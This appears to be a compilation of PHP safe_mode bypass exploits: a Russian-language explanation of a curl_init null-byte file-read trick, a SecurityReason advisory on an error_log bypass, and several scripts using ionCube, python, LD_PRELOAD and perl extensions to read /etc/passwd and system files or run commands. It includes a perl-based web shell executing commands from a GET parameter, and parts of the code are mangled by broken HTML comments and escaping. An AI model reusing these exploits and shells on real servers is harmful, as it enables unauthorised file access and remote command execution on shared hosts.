Особенности curl_init()
Работает в:
PHP 4.4.2 и более ранние версии.
PHP 5.0.5 и более ранние версии.
PHP 5.1.4 и более ранние версии.


Эта функция позволяет работать с cURL, библиотекой позволяющей получать доступ к файлам через разные 
протоколы, такие как http,ftp,https и т.д. Полезная 
вещь, однако нас она интересует по совсем другим 
причинам, дело в том, что в данной функции 
некорректно обрабатывается нулевой байт, что позволяет обойти safe mode и открывать файлы, которые нам читать запрещено.
Суть баги:
$fd=curl_init("file://restrictedfile.conf\x00"."permittedfile");
$result=curl_exec($fd); 
curl_close($fd);
var_dump($result);
Проверяет всё после нулевого байта, тогда как curl читает файл до нулевого байта. Единственное - файлы можно читать только из директории скрипта, мы не можем использовать "/". Так же можно читать файлы на которые у вас нет прав из другой директории на которую у вас есть права:
curl_init("file:///home/dir/dir/permitteddir/restrictedfile.conf\x00
/../../../../../../../../../../../../".__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));
Собственно таким нехитрым способом можно почитать файлы, прав на которые у нас нет.

<!--p
if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required!");
$path = str_repeat("..\", 20);
$MyBoot_readfile = readfile($path."windows\system.ini"); #just to be sure that I set correctely disable_function :)
$MyBoot_ioncube = ioncube_read_file($path."boot.ini");
echo $MyBoot_readfile;
echo "
 
ionCube output:
 
";
echo $MyBoot_ioncube;
-->

[ SecurityReason.com PHP 5.2.6 error_log safe_mode bypass ]

Author: Maksymilian Arciemowicz (cXIb8O3)
securityreason.com
Date:
- - Written: 10.11.2008
- - Public: 20.11.2008

SecurityReason Research
SecurityAlert Id: 57

CWE: CWE-264
SecurityRisk: Medium

Affected Software: PHP 5.2.6
Advisory URL: http://securityreason.com/achievement_securityalert/57
Vendor: http://www.php.net

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl 
with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web 
developers to write dynamically generated pages quickly.

error_log

They allow you to define your own error handling rules, as well as modify the way the errors can 
be logged. This allows you to change and enhance error reporting to suit your needs.

- --- 0. error_log const. bypassed by php_admin_flag ---
The main problem is between using safe_mode in global mode

php.ini*:
safe_mode = On

and declaring via php_admin_flag

<Directory "/www">
...
	php_admin_flag safe_mode On
</Directory>

When we create some php script in /www/ and try call to:

ini_set("error_log", "/hack/");

or in /www/.htaccess

php_value error_log "/hack/bleh.php"


Result:

Warning: Unknown: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in Unknown on line 0

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4


It was for safe_mode declared in php.ini. But if we use

php_admin_flag safe_mode On 

in httpd.conf, we will get only

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4

syntax in .htaccess

php_value error_log "/hack/blehx.php"

is allowed and bypass safe_mode.

example exploit:
error_log("<?php phpinfo(); ?>", 0);

- --- 2. How to fix ---
Fixed in CVS

http://cvs.php.net/viewvc.cgi/php-src/NEWS?revision=1.2027.2.547.2.1315&view=markup

Note:
Do not use safe_mode as a main safety.

 --- 3. Greets ---
sp3x Infospec schain p_e_a pi3

<?php
/*
  php_python_bypass.php
  php python extension safe_mode bypass
  Amir Salmani - amir[at]salmani[dot]ir
*/

//python ext. installed?
if (!extension_loaded('python')) die("python extension is not installed\n");

//eval python code
$res = python_eval('
import os
pwd = os.getcwd()
print pwd
os.system('cat /etc/passwd')
');

//show result
echo $res;
?>

<!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array(  0--> array("pipe", "r"),
 1 =&gt; array("file", $path."/output.txt","w"),
 2 =&gt; array("file", $path."/errors.txt", "a" )
);
$cwd = '.';
$env = array('LD_PRELOAD' =&gt; $path."/a.so");
$process = proc_open('id &gt; /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed
sleep(1);
$a=fopen($path."/.comm1","r");
echo "<strong>";
while (!feof($a))
{$b=fgets($a);echo $b;}
fclose($a);
?&gt;;
</strong>

<!--if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$per-->eval("system('".$_GET['cmd']."')");
echo "";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "
<form enctype="application/x-www-form-urlencoded" method="get">CMD:
<input name="cmd" size="25" type="text" value="&quot;.$_GET[" /></form>
 
"
?&gt;